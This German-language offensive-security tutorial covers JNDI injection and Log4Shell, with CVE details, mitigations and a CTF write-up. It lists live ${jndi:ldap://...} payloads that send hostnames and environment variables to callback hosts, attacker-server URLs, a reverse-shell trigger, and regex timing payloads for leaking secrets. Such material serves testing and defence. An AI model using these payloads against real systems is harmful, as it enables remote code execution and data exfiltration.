JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, seit den späten 1990er Jahren in Java integriert, dient als Verzeichnisdienst, der es Java-Programmen ermöglicht, Daten oder Objekte über ein Benennungssystem zu lokalisieren. Es unterstützt verschiedene Verzeichnisdienste über Dienstanbieter-Schnittstellen (SPIs), die den Datenabruf aus verschiedenen Systemen, einschließlich remote Java-Objekten, ermöglichen. Zu den gängigen SPIs gehören CORBA COS, Java RMI Registry und LDAP.
Java-Objekte können mithilfe von JNDI-Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:
Referenzadressen: Gibt den Standort eines Objekts an (z. B. rmi://server/ref), was eine direkte Abholung von der angegebenen Adresse ermöglicht.
Remote-Fabrik: Verweist auf eine Remote-Fabrik-Klasse. Bei Zugriff wird die Klasse von dem Remote-Standort heruntergeladen und instanziiert.
Dieses Mechanismus kann jedoch ausgenutzt werden, was potenziell zum Laden und Ausführen von beliebigem Code führen kann. Als Gegenmaßnahme:
RMI: java.rmi.server.useCodeabseOnly = true
standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Sicherheitsmanager schränkt weiter ein, was geladen werden kann.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
standardmäßig ab JDK 6u141, 7u131, 8u121, was die Ausführung von remote geladenen Java-Objekten blockiert. Wenn auf true
gesetzt, ist die Ausführung von Remote-Code ohne Aufsicht eines Sicherheitsmanagers möglich.
CORBA: Hat keine spezifische Eigenschaft, aber der Sicherheitsmanager ist immer aktiv.
Der Naming Manager, der für die Auflösung von JNDI-Links verantwortlich ist, verfügt jedoch nicht über integrierte Sicherheitsmechanismen, was potenziell das Abrufen von Objekten aus beliebigen Quellen ermöglicht. Dies stellt ein Risiko dar, da RMI-, LDAP- und CORBA-Schutzmaßnahmen umgangen werden können, was zum Laden beliebiger Java-Objekte oder zur Ausnutzung vorhandener Anwendungsbestandteile (Gadgets) zur Ausführung von schädlichem Code führen kann.
Beispiele für ausnutzbare URLs sind:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Trotz der Schutzmaßnahmen bleiben Schwachstellen bestehen, hauptsächlich aufgrund des Fehlens von Sicherheitsvorkehrungen gegen das Laden von JNDI aus nicht vertrauenswürdigen Quellen und der Möglichkeit, bestehende Schutzmaßnahmen zu umgehen.
Selbst wenn Sie eine PROVIDER_URL
festgelegt haben, können Sie in einem Lookup eine andere angeben, und sie wird abgerufen: ctx.lookup("<attacker-controlled-url>")
, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.
CORBA (Common Object Request Broker Architecture) verwendet eine Interoperable Object Reference (IOR), um remote Objekte eindeutig zu identifizieren. Diese Referenz enthält wesentliche Informationen wie:
Typ-ID: Eindeutiger Identifikator für ein Interface.
Codebase: URL zum Abrufen der Stub-Klasse.
Es ist erwähnenswert, dass CORBA nicht von Natur aus anfällig ist. Die Gewährleistung der Sicherheit umfasst typischerweise:
Installation eines Sicherheitsmanagers.
Konfiguration des Sicherheitsmanagers, um Verbindungen zu potenziell schädlichen Codebasen zuzulassen. Dies kann erreicht werden durch:
Socket-Berechtigung, z. B. permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Dateileseberechtigungen, entweder universell (permission java.io.FilePermission "<<ALL FILES>>", "read";
) oder für bestimmte Verzeichnisse, in denen schädliche Dateien platziert werden könnten.
Einige Richtlinien von Anbietern könnten jedoch nachsichtig sein und diese Verbindungen standardmäßig zulassen.
Für RMI (Remote Method Invocation) ist die Situation etwas anders. Wie bei CORBA ist das Herunterladen beliebiger Klassen standardmäßig eingeschränkt. Um RMI auszunutzen, müsste man typischerweise den Sicherheitsmanager umgehen, was auch bei CORBA relevant ist.
Zunächst müssen wir zwischen einer Suche und einem Lookup unterscheiden.
Eine Suche verwendet eine URL wie ldap://localhost:389/o=JNDITutorial
, um das JNDITutorial-Objekt von einem LDAP-Server zu finden und seine Attribute abzurufen.
Ein Lookup ist für Namensdienste gedacht, da wir alles abrufen möchten, was an einen Namen gebunden ist.
Wenn die LDAP-Suche mit SearchControls.setReturningObjFlag() mit true
aufgerufen wurde, wird das zurückgegebene Objekt rekonstruiert.
Daher gibt es mehrere Möglichkeiten, diese Optionen anzugreifen. Ein Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt, die in den Systemen ausgeführt werden, die sie sammeln (sehr nützlich, um Dutzende von Maschinen zu kompromittieren, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen MitM-Angriff in einer LDAP-Suche durchzuführen.
Falls Sie eine App dazu bringen können, eine JNDI LDAP-URL aufzulösen, können Sie den LDAP steuern, der durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).
Der Exploit ist serialisiert und wird deserialisiert.
Falls trustURLCodebase
auf true
gesetzt ist, kann ein Angreifer seine eigenen Klassen in der Codebase bereitstellen, andernfalls muss er Gadgets im Classpath ausnutzen.
Es ist einfacher, diesen LDAP mit JavaFactory-Referenzen anzugreifen:
Die Schwachstelle wird in Log4j eingeführt, da es eine spezielle Syntax in der Form ${prefix:name}
unterstützt, wobei prefix
einer von mehreren verschiedenen Lookups ist, die name
ausgewertet werden soll. Zum Beispiel ist ${java:version}
die aktuell laufende Version von Java.
LOG4J2-313 führte eine jndi
Lookup-Funktion ein. Diese Funktion ermöglicht den Abruf von Variablen über JNDI. Typischerweise wird der Schlüssel automatisch mit java:comp/env/
vorangestellt. Wenn der Schlüssel selbst jedoch ein ":" enthält, wird dieses Standardpräfix nicht angewendet.
Mit einem : im Schlüssel, wie in ${jndi:ldap://example.com/a}
, gibt es kein Präfix und der LDAP-Server wird nach dem Objekt abgefragt. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.
Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine anfällige Version von Log4j, die Informationen verarbeitet, die vom Benutzer kontrolliert werden. Und da dies eine Bibliothek ist, die von Java-Anwendungen weit verbreitet verwendet wird, um Informationen zu protokollieren (einschließlich internetfähiger Anwendungen), war es sehr häufig, dass log4j beispielsweise HTTP-Header wie den User-Agent protokollierte. Log4j wird jedoch nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern auch alle Eingaben und Daten, die der Entwickler angegeben hat.
Diese Schwachstelle ist ein kritischer untrusted deserialization flaw im log4j-core
-Komponenten, die Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht remote code execution (RCE), wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der ursprüngliche Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar (Regel 1, Regel 2).
Ursprünglich als niedrig eingestuft, aber später auf kritisch hochgestuft, ist dieser CVE ein Denial of Service (DoS)-Fehler, der aus einem unvollständigen Fix in 2.15.0 für CVE-2021-44228 resultiert. Er betrifft nicht standardmäßige Konfigurationen und ermöglicht es Angreifern, DoS-Angriffe durch gestaltete Payloads zu verursachen. Ein Tweet zeigt eine Umgehungsmethode. Das Problem wurde in den Versionen 2.16.0 und 2.12.2 behoben, indem die Nachrichten-Lookup-Muster entfernt und JNDI standardmäßig deaktiviert wurden.
Betroffen sind Log4j 1.x-Versionen in nicht standardmäßigen Konfigurationen, die JMSAppender
verwenden. Dieser CVE ist ein untrusted deserialization flaw. Es gibt keinen Fix für den 1.x-Zweig, der das Ende seiner Lebensdauer erreicht hat, und ein Upgrade auf log4j-core 2.17.0
wird empfohlen.
Diese Schwachstelle betrifft das Logback-Protokollierungsframework, einen Nachfolger von Log4j 1.x. Zuvor als sicher angesehen, wurde das Framework als anfällig befunden, und neuere Versionen (1.3.0-alpha11 und 1.2.9) wurden veröffentlicht, um das Problem zu beheben.
Log4j 2.16.0 enthält einen DoS-Fehler, was zur Veröffentlichung von log4j 2.17.0
zur Behebung des CVE führte. Weitere Details finden Sie im Bericht von BleepingComputer hier.
Diese Schwachstelle betrifft log4j Version 2.17 und erfordert, dass der Angreifer die Konfigurationsdatei von log4j kontrolliert. Sie beinhaltet potenzielle beliebige Codeausführung über einen konfigurierten JDBCAppender. Weitere Details sind im Checkmarx-Blogbeitrag verfügbar.
Diese Schwachstelle ist sehr einfach zu entdecken, wenn sie ungeschützt ist, da sie mindestens eine DNS-Anfrage an die Adresse sendet, die Sie in Ihrer Payload angeben. Daher Payloads wie:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(unter Verwendung von canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(unter Verwendung von interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(unter Verwendung von Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(unter Verwendung von dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(unter Verwendung von huntress)
Beachten Sie, dass selbst wenn eine DNS-Anfrage empfangen wird, das nicht bedeutet, dass die Anwendung ausnutzbar (oder sogar anfällig) ist; Sie müssen versuchen, sie auszunutzen.
Denken Sie daran, dass Sie zur Ausnutzung von Version 2.15 die localhost-Überprüfung umgehen müssen: ${jndi:ldap://127.0.0.1#...}
Suchen Sie nach lokalen anfälligen Versionen der Bibliothek mit:
Einige der zuvor aufgeführten Plattformen ermöglichen es Ihnen, einige variable Daten einzufügen, die protokolliert werden, wenn sie angefordert werden. Dies kann für 2 Dinge sehr nützlich sein:
Um die Schwachstelle zu verifizieren
Um Informationen zu exfiltrieren, indem die Schwachstelle ausgenutzt wird
Zum Beispiel könnten Sie etwas anfordern wie:
oder wie ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
und wenn eine DNS-Anfrage mit dem Wert der Umgebungsvariable empfangen wird, wissen Sie, dass die Anwendung anfällig ist.
Andere Informationen, die Sie versuchen könnten zu leaken:
Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladeangriffsvektor geschützt. Dies liegt an der standardmäßigen Deaktivierung von com.sun.jndi.ldap.object.trustURLCodebase
, die verhindert, dass JNDI eine Remote-Codebasis über LDAP lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen nicht gegen den Deserialisierungsangriffsvektor geschützt sind.
Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein vertrauenswürdiges Gadget innerhalb der Java-Anwendung zu nutzen. Werkzeuge wie ysoserial oder JNDIExploit werden häufig zu diesem Zweck verwendet. Im Gegensatz dazu ist das Ausnutzen niedrigerer JDK-Versionen relativ einfacher, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.
Für weitere Informationen (wie Einschränkungen bei RMI- und CORBA-Vektoren) überprüfen Sie den vorherigen Abschnitt zur JNDI-Namensreferenz oder https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Sie können dies in der THM-Box testen: https://tryhackme.com/room/solar
Verwenden Sie das Tool marshalsec (Jar-Version verfügbar hier). Dieser Ansatz richtet einen LDAP-Referenzserver ein, um Verbindungen an einen sekundären HTTP-Server umzuleiten, auf dem der Exploit gehostet wird:
Um das Ziel dazu zu bringen, einen Reverse-Shell-Code zu laden, erstellen Sie eine Java-Datei mit dem Namen Exploit.java
mit dem folgenden Inhalt:
Kompilieren Sie die Java-Datei in eine Klassendatei mit: javac Exploit.java -source 8 -target 8
. Starten Sie dann einen HTTP-Server im Verzeichnis, das die Klassendatei enthält, mit: python3 -m http.server
. Stellen Sie sicher, dass der marshalsec LDAP-Server auf diesen HTTP-Server verweist.
Lösen Sie die Ausführung der Exploit-Klasse auf dem anfälligen Webserver aus, indem Sie eine Payload senden, die wie folgt aussieht:
Hinweis: Dieser Exploit basiert auf der Konfiguration von Java, die das Laden von Remote-Codebasen über LDAP erlaubt. Wenn dies nicht zulässig ist, ziehen Sie in Betracht, eine vertrauenswürdige Klasse für die Ausführung beliebigen Codes auszunutzen.
Beachten Sie, dass der Autor aus irgendeinem Grund dieses Projekt nach der Entdeckung von log4shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.
Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die JAR-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.
Für dieses Beispiel können Sie einfach diesen anfälligen Webserver für log4shell auf Port 8080 ausführen: https://github.com/christophetd/log4shell-vulnerable-app (im README finden Sie, wie man ihn ausführt). Diese anfällige App protokolliert mit einer anfälligen Version von log4shell den Inhalt des HTTP-Anforderungsheaders X-Api-Version.
Dann können Sie die JNDIExploit JAR-Datei herunterladen und sie mit folgendem Befehl ausführen:
Nach nur wenigen Minuten des Lesens des Codes in com.feihong.ldap.LdapServer und com.feihong.ldap.HTTPServer kann man sehen, wie die LDAP- und HTTP-Server erstellt werden. Der LDAP-Server versteht, welches Payload bereitgestellt werden muss, und leitet das Opfer an den HTTP-Server weiter, der den Exploit bereitstellt. In com.feihong.ldap.gadgets finden Sie einige spezifische Gadgets, die verwendet werden können, um die gewünschte Aktion auszuführen (potenziell beliebigen Code auszuführen). Und in com.feihong.ldap.template können Sie die verschiedenen Template-Klassen sehen, die die Exploits generieren.
Sie können alle verfügbaren Exploits mit java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
sehen. Einige nützliche sind:
So, in unserem Beispiel haben wir bereits die anfällige Docker-Anwendung am Laufen. Um sie anzugreifen:
Wenn Sie die Angriffe senden, sehen Sie einige Ausgaben im Terminal, in dem Sie JNDIExploit-1.2-SNAPSHOT.jar ausgeführt haben.
Denken Sie daran, java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
für andere Ausbeutungsoptionen zu überprüfen. Außerdem können Sie, falls erforderlich, den Port der LDAP- und HTTP-Server ändern.
Ähnlich wie beim vorherigen Exploit können Sie versuchen, JNDI-Exploit-Kit zu verwenden, um diese Schwachstelle auszunutzen. Sie können die URLs generieren, die Sie an das Opfer senden möchten, indem Sie Folgendes ausführen:
Dieser Angriff unter Verwendung eines benutzerdefinierten generierten Java-Objekts wird in Laboren wie dem THM solar room funktionieren. Allerdings wird dies im Allgemeinen nicht funktionieren (da Java standardmäßig nicht konfiguriert ist, um Remote-Codebasen über LDAP zu laden). Ich denke, das liegt daran, dass es keine vertrauenswürdige Klasse ausnutzt, um beliebigen Code auszuführen.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ist ein weiteres Tool zur Generierung von funktionierenden JNDI-Links und zur Bereitstellung von Hintergrunddiensten durch Starten eines RMI-Servers, LDAP-Servers und HTTP-Servers.\
Diese Option ist wirklich nützlich, um Java-Versionen anzugreifen, die nur bestimmte Klassen vertrauen und nicht allen. Daher wird ysoserial verwendet, um Serialisierungen von vertrauenswürdigen Klassen zu generieren, die als Gadgets verwendet werden können, um beliebigen Code auszuführen (die von ysoserial ausgenutzte vertrauenswürdige Klasse muss vom Opfer-Java-Programm verwendet werden, damit der Exploit funktioniert).
Mit ysoserial oder ysoserial-modified können Sie den Deserialisierungs-Exploit erstellen, der von JNDI heruntergeladen wird:
Verwenden Sie JNDI-Exploit-Kit, um JNDI-Links zu generieren, bei denen der Exploit auf Verbindungen von den anfälligen Maschinen wartet. Sie können verschiedene Exploits, die automatisch generiert werden können, vom JNDI-Exploit-Kit bereitstellen oder sogar Ihre eigenen Deserialisierungs-Payloads (von Ihnen oder ysoserial generiert).
Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine Reverse-Shell zu erhalten, indem Sie ihn an eine verwundbare Version von log4j senden: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Finde lokale verwundbare Bibliotheken
In diesem CTF-Bericht wird gut erklärt, wie es potenziell möglich ist, einige Funktionen von Log4J zu missbrauchen.
Die Sicherheitsseite von Log4j enthält einige interessante Sätze:
Ab Version 2.16.0 (für Java 8) wurde die Nachrichtensuche-Funktion vollständig entfernt. Suchen in der Konfiguration funktionieren weiterhin. Darüber hinaus deaktiviert Log4j jetzt standardmäßig den Zugriff auf JNDI. JNDI-Suchen in der Konfiguration müssen jetzt explizit aktiviert werden.
Ab Version 2.17.0 (und 2.12.3 und 2.3.1 für Java 7 und Java 6) werden nur Suchzeichenfolgen in der Konfiguration rekursiv erweitert; bei jeder anderen Verwendung wird nur die oberste Suche aufgelöst, und alle verschachtelten Suchen werden nicht aufgelöst.
Das bedeutet, dass Sie standardmäßig vergessen können, einen jndi
-Exploit zu verwenden. Darüber hinaus müssen Sie die rekursiven Suchen konfigurieren.
Zum Beispiel war dies in diesem CTF in der Datei log4j2.xml konfiguriert:
In diesem CTF kontrollierte der Angreifer den Wert von ${sys:cmd}
und musste die Flagge aus einer Umgebungsvariable exfiltrieren.
Wie auf dieser Seite in früheren Payloads zu sehen ist, gibt es verschiedene Möglichkeiten, auf Umgebungsvariablen zuzugreifen, wie z.B.: ${env:FLAG}
. In diesem CTF war dies nutzlos, könnte aber in anderen realen Szenarien nützlich sein.
Im CTF konntest du nicht auf stderr der Java-Anwendung mit log4J zugreifen, aber Log4J Ausnahmen werden an stdout gesendet, was in der Python-App ausgegeben wurde. Das bedeutete, dass wir durch das Auslösen einer Ausnahme auf den Inhalt zugreifen konnten. Eine Ausnahme zur Exfiltration der Flagge war: ${java:${env:FLAG}}
. Dies funktioniert, weil ${java:CTF{blahblah}}
nicht existiert und eine Ausnahme mit dem Wert der Flagge angezeigt wird:
Nur um es zu erwähnen, könntest du auch neue Conversion Patterns injizieren und Ausnahmen auslösen, die in stdout
protokolliert werden. Zum Beispiel:
Dies wurde als nicht nützlich erachtet, um Daten innerhalb der Fehlermeldung zu exfiltrieren, da die Abfrage nicht vor dem Conversion Pattern gelöst wurde, könnte aber für andere Dinge wie Erkennung nützlich sein.
Es ist jedoch möglich, einige Conversion Patterns, die Regexes unterstützen, zu verwenden, um Informationen aus einer Abfrage zu exfiltrieren, indem man Regexes verwendet und binäre Suche oder zeitbasierte Verhaltensweisen ausnutzt.
Binäre Suche über Ausnahme-Nachrichten
Das Conversion Pattern %replace
kann verwendet werden, um Inhalt aus einem String sogar unter Verwendung von Regexes zu ersetzen. Es funktioniert so: replace{pattern}{regex}{substitution}
Durch das Ausnutzen dieses Verhaltens könntest du eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:
Zeitbasiert
Wie im vorherigen Abschnitt erwähnt, unterstützt %replace
Regex. Es ist also möglich, Payloads von der ReDoS-Seite zu verwenden, um einen Timeout auszulösen, falls das Flag gefunden wird.
Ein Beispiel für eine Payload wie %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
würde einen Timeout in diesem CTF auslösen.
In diesem Bericht wurde anstelle eines ReDoS-Angriffs ein Amplifikationsangriff verwendet, um einen Zeitunterschied in der Antwort zu verursachen:
Wenn das Flag mit
flagGuess
beginnt, wird das gesamte Flag durch 29#
-Zeichen ersetzt (ich habe dieses Zeichen verwendet, da es wahrscheinlich nicht Teil des Flags ist). Jedes der resultierenden 29#
-Zeichen wird dann durch 54#
-Zeichen ersetzt. Dieser Prozess wird 6 Mal wiederholt, was zu insgesamt29*54*54^6* =`` ``
96816014208
#
-Zeichen führt!Das Ersetzen so vieler
#
-Zeichen löst den 10-Sekunden-Timeout der Flask-Anwendung aus, was wiederum dazu führt, dass der HTTP-Statuscode 500 an den Benutzer gesendet wird. (Wenn das Flag nicht mitflagGuess
beginnt, erhalten wir einen Statuscode, der nicht 500 ist)
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)